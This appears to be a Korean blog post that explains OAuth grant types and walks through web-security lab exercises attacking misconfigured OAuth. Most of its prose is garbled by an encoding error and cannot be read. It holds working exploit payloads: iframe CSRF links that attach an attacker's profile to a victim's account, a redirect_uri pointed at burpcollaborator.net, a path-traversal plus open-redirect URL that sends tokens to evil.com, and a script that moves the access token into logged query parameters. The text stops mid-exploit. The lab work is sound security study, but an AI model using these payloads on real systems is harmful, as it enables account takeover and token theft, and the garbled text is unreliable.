ν°μ€ν 리 λ·°
OAuth λ
μ¨λΌμΈ μΌνμ²λΌ λ€μν ν¬νΈ μ¬μ΄νΈμμ ꡬνλ λ‘κ·ΈμΈ λ°©μμ 보면 λ±λ‘λ ID λ° ν¨μ€μλλ‘ κ°μ νλ κ²μ΄ μλ "μμ λ―Έλμ΄ κ³μ "μ ν΅ν΄ λ‘κ·ΈμΈνλ λ°©μμ μ’ μ’ λ³Ό μ μμ΅λλ€.
OAuthλΌλ κ²μ΄ μκΈ°κΈ° μ΄μ μλ μΉ μλΉμ€λ₯Ό μ΄μ©νκΈ° μν΄ μ¬μ©μμ μ΄λ¦κ³Ό μνΈλ₯Ό λ±λ‘νμ¬ μ¬μ©νμ΅λλ€. λ€λ₯Έ μ¬μ΄νΈλ₯Ό μ΄μ©ν λλ§λ€ μ¬μ΄νΈλ³ μ¬μ©μμ μ΄λ¦κ³Ό μνΈλ₯Ό μλ‘ μ§μ ν΄μ€μΌ νλ λ²κ±°λ‘μμ΄ μμμ΅λλ€. κ·Έλμ λ³λμ κ³μ μ λ§λ€μ§ μκ³ μΈμ¦λ°μ νμ¬ μ±μ μ΄μ©ν΄ κΆνμ λΆμ¬ν μ μλ μ€μκΈ°κ΄μ νμμ±μ΄ λλΌκ² λμκ³ κ·Έκ²μ ν΄κ²°ν μ μλ κ²μ΄ μ΄ OAuth νλ μμν¬ λΌκ³ 보μλ©΄ λ©λλ€.
μ΄ κΈ°λ₯μ μ΄μ©ν κ²½μ° μ¬μ΄νΈλ₯Ό μ΄λν λλ§λ€ νμκ°μ , κ³μ μ λ ₯μ νμ§ μκ³ νΉμ μμ λ―Έλμ΄μ κ³μ νλλ‘ μ¬λ¬ μ¬μ΄νΈλ₯Ό μ΄μ©ν μ μκΈ° λλ¬Έμ νμ¬ λ§€μ° νΈλ¦¬ν κΈ°λ₯μΌλ‘ μ리 μ‘μμ΅λλ€.
μμ μ¬μ§μ 보μλ κ²μ²λΌ Google, Facebook, Twitter λ±μμ μμ μ μλΉμ€λ₯Ό μΈλΆ μμ€ν
μμ μ¬μ©ν μ μκ² μ 곡ν΄μ£Όκ³ μμ΅λλ€. μ΄λ₯Ό ν΅ν΄ μμ
λ―Έλμ΄μ λ±λ‘λμ΄μλ μ¬μ©μ κ³μ μ 보 => λ±λ‘νκ³ μ νλ μ¬μ΄νΈμ λ§μ΄κ·Έλ μ΄μ
μμΌμ£Όκ² λ©λλ€.
OAuthλ "Framework"λ‘ μ¬μμ΄ κ°κ° ν리며, μ μ°νκ² μ€κ³λ μ μμ΅λλ€. μ΄ λ§μ μ¦ κ°λ°μκ° κΈ°λ₯μ κ°μ Έμ μμ νκ² κ΅¬νν΄λμ§ μμ κ²½μ° κ³΅κ²©μλ μ΄λ¬ν μλͺ»λ OAuth ꡬμ±μ ν΅ν΄ μ¬μ©μ μΈμ¦ λ©μ»€λμ¦μ μ°ννμ¬ ν μ¬μ©μμ κ³μ μ νμ·¨ν μ μλ λ¬Έμ κ° λ°μν μ μμ΅λλ€.
OAuth νλ¦μμ νμν μν λ€
1.μ±(Client Application)
μμ²ν μ¬μ©μ λ°μ΄ν°μ μ‘μΈμ€ νλ €λ μΉ μ¬μ΄νΈ λλ μΉ μμ© νλ‘κ·Έλ¨
2.μ¬μ©μ(Resourc Owner)
ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ
μ΄ μ‘μΈμ€ νλ €λ λ°μ΄ν°μ μ¬μ©μ
3.OAuth μλΉμ€ μ 곡μ(OAuth Service provider)
μ¬μ©μ λ°μ΄ν° λ° μ‘μΈμ€λ₯Ό μ μ΄νλ ββμΉμ¬μ΄νΈ λλ μ ν리μΌμ΄μ
μΌλ‘, μΈμ¦ μλ² λ° λ¦¬μμ€ μλ² λͺ¨λμ μνΈ μμ©νκΈ° μν APIλ₯Ό μ 곡
OAuth κΆν λΆμ¬ μ’ λ₯ 2κ°μ§
OAuth νλ μμν¬λ₯Ό ν΅ν μΈμ¦λ°©λ²μ λνμ μΌλ‘ 2κ°μ§κ° μμΌλ©° μ΄λ₯Ό μλ³ν μ μλ λ°©λ² λνμ μΌλ‘ OAuth μΈμ¦ νλ¦ κ³Όμ μμ μμ² μ μ λ¬νκ² λλ "response_type" λ³μλ₯Ό ν΅ν΄ νμΈν μ μμ΅λλ€.
- Implicit Flow(μμμ κΆν λΆμ¬)
https://example.com/auth?client_id=123123&redirect_uri=https://123.com&response_type=token ...
- Authorization Code Flow(μΈμ¦μ½λ λΆμ¬)
https://example.com/auth?client_id=123123&redirect_uri=https://123.com&response_type=code ...
Implicit Flow(μμμ κΆν λΆμ¬)
μμμ κΆν λΆμ¬ μ ν μ μ£Όλ‘ λ°±μλμ λ³κ°λ‘ ꡬνλ λ¨μΌ νμ΄μ§ μμ© νλ‘κ·Έλ¨(SPA)μ μν΄ μ€κ³λμμ΅λλ€. νμ§λ§ μλμ λ¨μμ± λλ¬Έμ κ³ μ μ μΈ ν΄λΌμ΄μΈνΈ-μλ² μΉ μ ν리μΌμ΄μ μμλ μμ£Ό μ¬μ©ν κ²½μ° λ¬Έμ κ°λ°μ ν μ μμ΅λλ€.
1. OAuth μΈμ¦μ μν΄ κΆν λΆμ¬ μμ²
2. μ¬μ©μ λ‘κ·ΈμΈ λ° λμ(ex: Facebookκ³μ μΌλ‘ μΈμ¦)
3. μ‘μΈμ€ ν ν° λΆμ¬(Facebookμμ μμ²ν λ²μμ μ‘μΈμ€ ν ν° λΆμ¬ν¨)
4. API νΈμΆ(리μμ€ μλ²(Facebook)μ μ¬μ©μ λ°μ΄ν°λ₯Ό κ°μ Έμ€κΈ° μν¨)
- OAuth μλΉμ€μ μ¬μ©μ μ 보 μλν¬μΈνΈμ λν API νΈμΆμ λΈλΌμ°μ λ₯Ό ν΅ν΄ μν
5. μμ λΆμ¬
- 리μμ€ μλ²λ ν ν°μ΄ μ ν¨νκ³ νμ¬ ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ μ μνλμ§ νμΈ, μμ²λ 리μμ€, μ¦ μ‘μΈμ€ ν ν°κ³Ό μ°κ²°λ λ²μλ₯Ό κΈ°λ°μΌλ‘ νλ μ¬μ©μ λ°μ΄ν°λ₯Ό μ μ‘νμ¬ μλ΅
μμ νλ¦μ 보λ―μ΄ μΈμ¦ κ³Όμ μμ λ³λμ λ°± μ±λ ν΅μ μ νμ§ μκΈ° λλ¬Έμ μΈμ¦μλ²μμλ λΈλΌμ°μ λ₯Ό ν΅ν΄ μ‘μΈμ€ ν ν°μ 보λ΄κ² λλλ°, νλΌλ―Έν°μ μ§μ λ°νν΄μ£ΌκΈ° λλ¬Έμ μ΄λ₯Ό νμ·¨ν μ μμ κ²½μ° λ¬Έμ κ° λ°μν μ μμ΅λλ€.
- Request (GET)/authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
- Response -> μΉμΈ μμ² μ urlλ‘ Access Tokenμ΄ λ°λ‘ μ λ¬λ¨ http://example.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&state=xyz&token_type=example&expires_in=3600
Authorization Code Flow(μΈμ¦μ½λ λΆμ¬)
μΌλ°μ μΌλ‘ μ μΌ λ§μ΄ μ¬μ©λλ λ°©μμΌλ‘ λ°±μλκ° κ΅¬νλμ΄ μλ μ¬μ΄νΈμ κ°μ₯ μ ν©ν λ°©μμΌλ‘ "μΈμ¦μ½λ"κ° μΆκ°λμ΄ μμΌλ©°, μ‘μΈμ€ ν ν°μ λν μΈμ¦ μ½λλ λ°± μ±λμμ μ΄λ£¨μ΄μ§κΈ° λλ¬Έμ μμμ κΆν λΆμ¬ μ νκ³Όλ λ€λ₯΄κ² ν΅μ κ³Όμ μμ λ―Όκ°μ λ³΄κ° μ½κ² λ ΈμΆλλ μΌμ λν κ°μμμΌ°μ΅λλ€.
1. OAuth μΈμ¦μ μν΄ κΆν λΆμ¬ μμ²
2. μ¬μ©μ λ‘κ·ΈμΈ λ° λμ(ex: Facebookκ³μ μΌλ‘ μΈμ¦)
3. μλ½ μ μΈμ¦μ½λ λΆμ¬
4. μΈμ¦μ½λλ₯Ό ν΅ν΄ μ‘μΈμ€ ν ν° μμ²
- μΈλ± μ½λ λ° ν ν° κ΅ν μ΄νμ λ°μνλ λͺ¨λ ν΅μ μ λ°± μ±λμ ν΅ν΄ μλ² κ° μ μ‘νλ―λ‘ μμ ν¨
5. μ‘μΈμ€ ν ν° λΆμ¬(Facebookμμ μμ²ν λ²μμ μ‘μΈμ€ ν ν° λΆμ¬ν¨)
- κ°μ₯ λ―Όκ°ν λ°μ΄ν°(access token λ° user data)λ λΈλΌμ°μ λ₯Ό ν΅ν΄ μ μ‘λμ§ μμ
6. API νΈμΆ(ν΄λΌμ΄μΈνΈ μ±μ΄ μ‘μΈμ€ ν ν°μ κ°μ§κ³ μμΌλ―λ‘ λ¦¬μμ€ μλ²(Facebook)μ μ¬μ©μ λ°μ΄ν°λ₯Ό κ°μ Έμ€κΈ° μν¨)
7. 리μμ€ λΆμ¬(μ ν¨ν ν ν°μΌ κ²½μ° λ¦¬μμ€ μλ²λ ν΄λΌμ΄μΈνΈ μ±μμ μ νν 리μμ€λ₯Ό μ 곡
1.Authorization
- Request (GET)/authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fc - Response https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz
2.Access token
- Request (POST) /token Authorization: Bearer czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
- Response -> Authorization Code νλ ν ν΄λΉ Codeλ‘ Access Token νλ
{ "access_token":"2YotnFZFEjr1zCsicMWpAA", "token_type":"example", "expires_in":3600, "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA", "example_parameter":"example_value" }
OAuth Vulnerability check
OAuth μλΉμ€μ μ·¨μ½μ μ μ°Ύμ λ νμΈνλ λνμ μΈ μ²΄ν¬λ¦¬μ€νΈμ λλ€. μ°μ μ μΌλ‘ μ΄λ€ λ°©μμΌλ‘ κΆνμ λΆμ¬νλμ§ μ²΄ν¬ ν κ°κ°μ λ³μμ νλ¦μ λΆμν΄μ£Όμλ©΄ λ©λλ€.
1.OAuth λ²μ μλ³(1.0μμλ Access tokenκ³Ό Request token 2κ° μ¬μ©λ¨)
2. μ¬μ© μ€μΈ κΆν λΆμ¬ μ ν μλ³
3.μλͺ»λ 보μ ꡬμ±λ€ ν
μ€νΈ
- λΆμΆ©λΆν μΈμ
κ΄λ¦¬(ν΄λΌμ΄μΈνΈ μ±μμ λ‘κ·Έμμ λμ΄λ νμ¬μ΄ν리μΌμ΄μ
μ μΈμ
μ μ§)
- redirect_uri μ μ
λ ₯ κ° κ²μ¦ λ―Έν‘(μ€ν 리λ€μ΄λ νΈ λ°μ)
- Token Leakage(μΈμ¦μλ²κ° HTTP(80)λ₯Ό ν΅ν΄ access_tokenλ₯Ό λ°ννλμ§ μ²΄ν¬, Bearerν€λμ λ΄λ κ² μμ )
- κ°λ ₯ν Client Secrets μ¬μ© μ¬λΆ 체ν¬(μΈμ¦ ν Authorization ν€λκ° Bearerκ° μλ BasicμΈ κ²½μ°, λ¬΄μ°¨λ³ λμ
κ°λ₯)
- state 맀κ°λ³μ λ° μ¬μ¬μ© νμΈ(CSRF κ°λ₯μ±)
- Scope Value Manipulation(κΆν λ²μ κ° μ‘°μ)
- Implicit Grant(μμμ κΆν λΆμ¬(response_type=token), μ‘μΈμ€ ν ν° λμΆ λ° μ‘μΈμ€ ν ν° μ¬μμ μ·¨μ½νλ©° μΈμ¦ μλ΅μμ νΉμ ν΄λΌμ΄μΈνΈμ λν΄ λ°κΈλ μ‘μΈμ€ ν ν°μ μνΈν λ°©μμΌλ‘ λ°μΈλ©νλ μ€ν κ°λ₯ν λ©μ»€λμ¦μ΄ μλμ§ μ²΄ν¬)
Authentication bypass via OAuth implicit flow[ μμμ κΆν λΆμ¬ κΈ°λ° μΈμ¦ μ°ν ]
ν΄λΉ μ¬μ΄νΈλ OAuthμ μμμ κΆν λΆμ¬ νλ¦μ ν΅ν΄ μ¬μ©μκ° μμ λ―Έλμ΄ κ³μ μΌλ‘ μ‘μΈμ€ ν μ μλλ‘ κ΅¬μ±λμ΄ μμ΅λλ€.
OAuthλ 보μμ μΈ μΈ‘λ©΄μμ μ¬λ°λ₯Έ μ΅μ μ μ‘°ν©μ μ¬μ©νκ³ κ°λ ₯ν μ λ ₯ μ ν¨μ± κ²μ¬μ κ°μ μ체 μΆκ° 보μ μ‘°μΉλ₯Ό ꡬννλ κΈ°λ₯μ κ°λ°μμκ² κ±°μ μ μ μΌλ‘ μμ‘΄νλ€ λ³΄λ λ¨μ νΈμμ± μΈ‘λ©΄μμλ§ κ°λ° ꡬνμ νκ² λλ κ²½μ°κ° λ°μν μ μμ΅λλ€.
λ§μ½ μΈμ¦κ³Όμ μμ μ ν¨ν μ¬μ©μμΈμ§ μ λλ‘ κ²μ¬νμ§ μμ κ²½μ° κ³΅κ²©μλ ν μ¬μ©μμ μνΈλ₯Ό λͺ¨λ₯΄λ μνμμ 무λ¨μΌλ‘ λ‘κ·ΈμΈν μ μμ΅λλ€.
κΆν μμ² μ response_type λ³μμ "token"μ΄ μ€μ λμ΄ μλ κ²μ ν΅ν΄ μμμ κΆν λΆμ¬λ₯Ό νκ³ μλ κ²μ νμΈν μ μμ΅λλ€.
μ±μ λν μ¬μ©μ μ‘μΈμ€λ₯Ό λμνκ² λλ©΄ OAuth μλΉμ€ μ 곡μμμ μ¬μ©μκ° μ‘μΈμ€ νκ³ μ νλ μ±μ λ‘κ·ΈμΈλμ΄ μλμ§ νμΈν©λλ€.(λ‘κ·ΈμΈλμ΄ μμ§ μμ κ²½μ° μμ λ―Έλμ΄ λ‘κ·ΈμΈμ μ λ)
λ‘κ·ΈμΈ ν μ¬μ©μ μ μ 체ν¬λ₯Ό λͺ¨λ κ±°μΉλ©΄ μμ² ν€λμ Authorization: Bearerμ ν ν°μ λ΄μ /me μλν¬μΈνΈμ μμ²νκ² λκ³ μ΄νμ /oauth-callback μλν¬μΈνΈμ μΈμ¦μ μλ£ν μ¬μ©μμ μΈμ μ 보λ₯Ό Cookieν€λμ ν¬ν¨μμΌ HTTP 200μ λ°νλ°μ μΈμ¦ νλ‘μΈμ€λ₯Ό λλ§μΉκ² λλ ꡬ쑰μ λλ€.
λ€μ μλ‘ μ¬λΌκ° /authenticate μλν¬μΈνΈμ μ¬μ©μμ μ΄λ©μΌ μ£Όμμ, μ΄λ¦μ μ λ ₯λ°λ μμ²μμ μ΄λ©μΌ μ£Όμλ₯Ό ν μ¬μ©μμ μ΄λ©μΌ μ£Όμλ‘ λ³κ²½νμ¬ μ¬μΈμ¦μ ν΄λ³΄λ©΄ μΆκ°μ μ μ¬μ©μ μ ν¨μ± κ²μ¦μ νμ§ μμ μλ‘μ΄ μΈμ μ λ°νν΄μ€λλ€.
λ°νλ μΈμ μ 보λ₯Ό ν΅ν΄ /oauth-callbackμ Cookie ν€λλ₯Ό μμ ν΄λ³΄λ©΄ μ±κ³΅μ μΌλ‘ μμ μ¬μ©μ κ³μ μ λ³΄λ‘ λ‘κ·ΈμΈνκ² λ©λλ€.
μ΄ κ°μ λ¬Έμ λ μ‘μΈμ€ ν ν°μ Authorization ν€λμ λ΄μ /me μλν¬μΈνΈμ μμ²μ 보λ΄λ©΄ κ·Έμ λ°λ₯Έ μ¬μ©μ λ°μ΄ν°λ₯Ό κ°μ Έμ€κ² λλλ°, μ¬μ©μλ₯Ό νμΈνλ κ²μ¦ λ¨κ³μμ ν΄λΌμ΄μΈνΈ μμ© νλ‘κ·Έλ¨μ΄ μ‘μΈμ€ ν ν°μ΄ μμ²μ λ€λ₯Έ λ°μ΄ν°μ μΌμΉνλμ§ μ λλ‘ νμΈνμ§ μλ κ²½μ° κ³΅κ²©μλ λ³ΈμΈμ΄ λΆμ¬λ°μ ν ν°μ κΈ°λ°μΌλ‘ ν μ¬μ©μμ μ΄λ©μΌ μ£Όμλ‘ λ³κ²½νμ¬ μ μ©ν μ μλ€λ μ μ μμ¬νκ² λ©λλ€.
Forced OAuth profile linking( κ°μ νλ‘ν μ°κ²° )
κΈ°μ‘΄μ λ‘κ·ΈμΈν μ¬μ©μλ€μ ν μμ λ―Έλμ΄μ νλ‘νμ ν΄λΉ μ¬μ΄νΈ κ³μ μ μ°λν μ μλ λ©μ»€λμ¦μ΄ μ‘΄μ¬ν©λλ€.
νμ§λ§ μ¬κΈ°μ μ€μν μ μ μ°λνκΈ° μν κ³Όμ μμ μ ν¨ν μμ²μΈμ§ μλμ§λ₯Ό 체ν¬νμ§ λͺ»ν κ²½μ° κ³΅κ²©μλ ν μ¬μ©μμ μ 보λ₯Ό λμ©νκ±°λ νμ·¨ν κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€.
μ¬μ©μμ μ΄λ¦ λ° λΉλ°λ²νΈλ₯Ό ν΅ν΄ μ΅μ΄ λ‘κ·ΈμΈ ν ν μ¬μ΄νΈμ νλ‘νμ μ°λνμ¬ κ°μ Έμ¬ μ μλ λ©μ»€λμ¦μ μ§μνκ³ μμ΅λλ€. μ°μ λ‘κ·ΈμΈ ν "Attach a social profile"νμ¬ μ°λνλλ‘ νκ² μ΅λλ€.
μΈμ¦ μ μ¬μ©λλ 맀κ°λ³μλ₯Ό νμΈν΄λ³΄λ©΄ μμμ μ§νν κ² κ³Όλ λ€λ₯Έ κ² response_type=codeλ‘ λΆμ¬λμ΄ μλ κ²μΌλ‘ 보μ "μΈμ¦μ½λ λΆμ¬" νλ¦μ μ¬μ©νλ κ²μΌλ‘ μΆμΈ‘ν μ μμ΅λλ€. μμμλ λ§μλλ¦¬μ§ μμ λΆλΆμ΄μ§λ§ μ¬κΈ°μ νμΈλλ κ·Έλ¦¬κ³ μ²΄ν¬ν΄λ΄μΌ λ λ³μλ 2κ°μ§ μ λ μμ΅λλ€.
- state 맀κ°λ³μμ λΆμ
- redirect_uriμ μ λ ₯ κ° κ²μ¦
첫 λ²μ§Έλ‘ μμλ‘ μ§μ λλ λλ€ ν ν° "state" λ³μκ° μ‘΄μ¬νμ§ μμ CSRF νμμ 곡격μ λ ΈμΆλ κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€. λν redirect_uri μ μ§μ λ λμ μμ²μ μ ν¨μ± κ²μ¬λ₯Ό μ λλ‘ νμ§ μμ κ²½μ° λμΌνκ² CSRFννμ 곡격μ μ μ©λ μ μμ΅λλ€.
μ°λνκΈ° μν΄ μμ±λ code κ°μ λ³΅μ¬ ν μμ² κ°μ "Drop" μν΅λλ€.(ν μ¬μ©μμ κ³μ μ μμ μ νλ‘νμ μ°λμν€λ κ²μ΄ λͺ©μ μ΄λ) λν κ³μ μ μ°κ²°νκΈ° μν oauth μΈμ¦ μμ² κ³Όμ μμλ CSRFλ₯Ό λ°©μ§ν μ μλ "state" λ³μκ° μμ΅λλ€.
- Exploit Code -
<iframe src="https://ac4d1fb91e5170f4c0a029bd001e00aa.web-security-academy.net/oauth-linking?code=Attacker Token"></iframe>
μμ² μ½λλ₯Ό κΈ°λ°μΌλ‘ iframe νκ·Έλ₯Ό μ¬μ©νμ¬ νΈμ€ν μλ²μ μ λ‘λν΄λκ³ κ΄λ¦¬μκ° μμ μ μλ²μ μ κ·Όνμ¬ μ½λκ° μ€νλλλ‘ μ λν©λλ€.
κ΄λ¦¬μ κ³μ μ΄ κ³΅κ²©μ μλ²μ μ κ·Όνκ² λλ©΄ μλμΌλ‘ redirect_uriμ μ§μ λ /oauth-linking?code=attacker tokenμΌλ‘ μμ²μ λ³΄λ΄ κ΄λ¦¬μ κ³μ μ 곡격μμ νλ‘νμ μ°λνκ² λκΈ° λλ¬Έμ 곡격μλ μ΄ OAuth κ³μ μΌλ‘ ν΅ν© λ‘κ·ΈμΈνμ¬ κ³μ μ νμ·¨ν μ μκ² λ©λλ€.
OAuth account hijacking via redirect_uri( redirect_uriλ₯Ό ν΅ν oauth μΈμ¦ νμ·¨ )
ν΄λΉ μ¬μ΄νΈμμλ μ¬μ©μκ° "μμ λ―Έλμ΄"λ₯Ό ν΅ν΄ λ‘κ·ΈμΈν μ μλ κΈ°λ₯μ΄ μ‘΄μ¬ν©λλ€. Login with social mediaλ₯Ό μ§ννμ¬ μμ² νλΌλ―Έν°λ₯Ό μ‘μ보λλ‘ νκ² μ΅λλ€.
μΈμ¦ μμ² ν¨ν·μ ν΅ν΄ νμΈ λ° μ²΄ν¬ν΄μΌ λ λΆλΆλ€μ μλμ κ°μ΅λλ€.
1.response_type 체ν¬(μΈμ¦μ½λ λΆμ¬ μ ν)
2.redirect_uriμ μ ν¨μ± κ²μ¦
3.state νλΌλ―Έν° μ‘΄μ¬ μ 무
"redirect_uri"λ³μλ μλ²κ° μΈμ¦ μ½λλ₯Ό λ°ννλ λ° μ¬μ©ν μ μλ μ€μν λ³μλ‘, μ΄ λ³μμ μ ν¨μ±μ μ²λ¦¬νμ§ λͺ»ν κ²½μ° κ³΅κ²©μλ 리λ€μ΄λ μ μ μΌμΌμΌ HTTP κ³Όμ μ ν¬ν¨λ μΈμ¦μ½λλ₯Ό ν΅ν΄ μ¬μ©μ κ³μ μ 무λ¨μΌλ‘ μ‘μΈμ€ ν μ μμ΅λλ€. λν λ§μ°¬κ°μ§λ‘ λ³λμ state λ³μκ° μ‘΄μ¬νμ§ μμ CSRFμ μ·¨μ½ν©λλ€.
μμ λ―Έλμ΄λ₯Ό ν΅ν΄ λ‘κ·ΈμΈ ν Continueλ₯Ό μ§ννλ©΄ λΆμ¬λ°μ μΈμ¦ ν ν°μ κΈ°λ°μΌλ‘ μλν¬μΈνΈμ μμ²μ 보λ΄κ³ μ¬μ©μμ λ°μ΄ν°μ μ‘μΈμ€ νκ² λ©λλ€.(+ state λ³μ λΆμ¬)
λ€μ μ΄μ μΌλ‘ λμκ° redirect_uri νλΌλ―Έν°μ μμ μ£Όμλ‘ μμ νμ¬ μμ²μ 보λ΄λ³΄λ©΄ 302 Foundλ₯Ό μ λ°νλ©΄μ μ§μ λ νμ΄μ§λ‘ κ°μ 리λ€μ΄λ μ λλ λ¬Έμ κ° μ‘΄μ¬ν©λλ€.
- Exploit Code -
<iframe src="https://oauth-ac101f3c1f4b4ac2c08d6bbc02a6002d.web-security-academy.net/auth?client_id=dlko1ymvizmo80mxcwkri&redirect_uri=https://burpcollaborator.net&response_type=code&scope=openid%20profile%20email"></iframe>
곡격μλ 리λ€μ΄λ νΈ λλ μ μ μ°Έκ³ νμ¬ μΈμ¦ μ½λλ₯Ό ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ μ λ³΄λΌ λ μ¬μ©μμ λΈλΌμ°μ κ° λ¦¬λλ μ λμ΄μΌ νλ URIλ₯Ό 곡격μμ Callback μ£Όμ(burpcollaborator)λ‘ λ³΄λ΄κ³ OAuth ν ν°μ νμ·¨ ν κ΄λ¦¬μ κ³μ μ APIν€μ μ‘μΈμ€ ν μ μκ² λ©λλ€.
μμ κ΄λ¦¬μκ° μΈμ¦μ½λ Callbackμ£Όμκ° κ³΅κ²©μ μ£Όμλ‘ λ³μ‘°λ λ§ν¬λ₯Ό ν΄λ¦ν κ²½μ° HTTP κ³Όμ μ ν¬ν¨λ μΈμ¦μ½λκ° κ³΅κ²©μ μλ²μ κΈ°λ‘λκ² λ©λλ€.
νμ·¨ν μΈμ¦ ν ν°μ κΈ°λ°μΌλ‘ /oauth-callback?code=Admin Access Token μμ²μ λ€μ 보λ΄κ² λλ©΄ μ±κ³΅μ μΌλ‘ μΈμ¦μ΄ λμ΄ κ΄λ¦¬μ κ³μ μ 곡격μ κ³μ κ³Ό μ°λλκ² λ©λλ€.
Stealing OAuth access tokens via an open redirect( μ€ν 리λ€μ΄λ νΈλ₯Ό νμ©ν OAuth ν ν° νμ·¨ )
λμ μλΉμ€λ Oauth μΈμ¦μ ν΅ν΄ μμ λ―Έλμ΄ κ³μ μΌλ‘ λ‘κ·ΈμΈν μ μλλ‘ μ§μνκ³ μμ΅λλ€. 곡격μλ Oauth μλΉμ€μ μ 무λ₯Ό νμ ν μ‘μΈμ€ ν ν°μ νμΉκΈ° μν 리λ€μ΄λ μ μ·¨μ½μ μ μ°ΎμμΌ ν©λλ€. μ°μ Oauth λ‘κ·ΈμΈ νλ‘μΈμ€λ₯Ό μλ£νκ³ ν μ€νΈλ₯Ό μ§νν΄λ³΄κ² μ΅λλ€.
μ°Έκ³ λ‘ OAuth νλ¦ νλ‘μΈμ€λ₯Ό μλ£ ν κ³Όμ μ μ΄ν΄λ³΄λ©΄ Authorization: Bearer ν€λμ μ‘μΈμ€ ν ν°μ λ΄μ /me μλν¬μΈνΈμ μμ²μ νλ©΄ μΈμ¦λ μ¬μ©μμ κ³μ μ 보λ₯Ό λ°νν΄μ£Όκ³ μμ΅λλ€.
λ€λ‘ λμκ° μΈμ¦ μμ² μ λ°μλλ ν¨ν·μ 보면 "μμμ κΆν λΆμ¬" νλ¦μ μ¬μ©νκ³ μμΌλ©° 리λ€μ΄λ νΈ λλ λ³μμΈ "redirect_uri"λ³μμ μμ μ£Όμλ₯Ό λ£κ³ μμ²ν΄λ³΄λ©΄ μ΄λ²μλ μ ν¨μ± κ²μ¬λ₯Ό νκ³ μμ΅λλ€.
# Input
https://example.com/oauth-callback/../../path
# Output
https://example.com/oauth-callback/path
μμ²μ΄ μ€ν¨λλ©΄ μΆκ° μ°ν νΈλ¦ ν¨ν΄μ μλν΄μΌ λ©λλ€.
μ°μ URIμ μ΄λ λΆλΆμ κ²μ¦νκ³ μλμ§ νμΈν΄λ³΄κ² μ΅λλ€. λͺλͺ μλΉμ€μ κ²½μ° λͺ νν νμ΄νΈλ¦¬μ€νΈ μ£Όμλ₯Ό κ²μ¦νμ§ μκ³ νμ λλ©μΈλ€ κΉμ§ λͺ¨λ ν¬ν¨ν κ°λ₯μ±λ μ‘΄μ¬νλ©°, νμ λλ ν λ¦¬κ° μλ μ£Όμλ₯Ό μΆκ°νμ¬ λ°±μλ λ¨μμ μμΈμ²λ¦¬ λ°μνλλ‘ κ°λ¨ν νΈλ¦μ μ¬μ©ν μ μμ΅λλ€.
redirect_uri λ³μμ κ²½λ‘ μνκ° κ°λ₯ν κ²μ νμΈνμΌλ μλΉμ€ λ΄λΆμ Open Redirectλ₯Ό λ°μμν¬ μ μλ μΆκ° μ·¨μ½μ μ μ°ΎμμΌ λ©λλ€. κ²μκΈμ Next λ²νΌμλ path λ³μκ° μ¬μ©λλ©° μ§μ λ κ°μΈ postid=7 κ²μκΈλ‘ λμ΄κ°κ² λμ΄ μμ΅λλ€.
path λ³μλ μ¬μ©μμ μ λ ₯ κ°μ κ²μ¬νμ§ μμ μμ κ²½λ‘λ‘ κ°μ μ΄λμν¬ μ μμ΅λλ€.
redirect_uriμ κ²½λ‘ μ΄λ κ°λ₯μ±κ³Ό path λ³μμ Open Redirect μ·¨μ½μ μ νμ©νμ¬ κ³΅κ²©μκ° μ§μ ν΄λ νΉμ μ£Όμλ‘ μ΄λμ΄ κ°λ₯νμ§ κ²μ¦ν΄λ³΄λλ‘ νκ² μ΅λλ€.
<1> μ΅μ΄ μμ²
https://oauth-ac411f7e1e85158ac0220fa8027f00a4.web-security-academy.net/auth?client_id=att3am0mz8j4fnweerb92&redirect_uri=https://ac081f001e5815e3c0ff0fa000f1008e.web-security-academy.net/oauth-callback/../../post/next?path=https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email
<2> Redirect_uri μ²λ¦¬
https://ac081f001e5815e3c0ff0fa000f1008e.web-security-academy.net/oauth-callback/../../post/next?path=https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email
<3> μ΅μ’ μ²λ¦¬
https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email
1μ°¨ μμ²μμ redirect_uri λ³μμ μν₯μΌλ‘ μ§μ λ κ°μΌλ‘ μ΄λλκ³ κ·Έ ν oauth-callback μ΄νμ μ‘΄μ¬νλ κ²½λ‘ μνλ‘ μΈν΄ /post/next?page=μ λ΄κΈ΄ κ°(evil.com) κΉμ§ μ²λ¦¬νκ² λ©λλ€.
μμμ κΆν λΆμ¬ μ νμμ 리λ€μ΄λ νΈ κ²½λ‘λ₯Ό μ μ΄ν μ μλ€λ©΄ response_typeμ ν¬ν¨λλ μ‘μΈμ€ ν ν°μ νμ·¨ν μ μμ΅λλ€. νμ§λ§ evil.com μ£Όμμ°½μ 보면 /#access_token νμμΌλ‘ μ£Όμ μ²λ¦¬λμ΄ μμ΅λλ€. μ΄λ₯Ό μ‘°κΈ λ³νν΄μΌ λ©λλ€.
<script>
window.location = '/?'+document.location.hash.substr(1)
</script>
access tokenμ 맀κ°λ³μλ‘ μ¬μ©νμ¬ νλΌλ―Έν°μ μ‘νλλ‘ μμ νκΈ° μν΄μ window.location.hash.substring() ν¨μκ° νμν©λλ€. μ΄λ₯Ό ν΅ν΄ μ‘μΈμ€ ν ν° κ°μ΄ νλΌλ―Έν°μ μ λλ‘ λμ€κΈ° μμνλ©° μ‘μΈμ€ λ‘κ·Έμλ κΈ°λ‘λκ² λ©λλ€.
- Exploit Code -
<script>
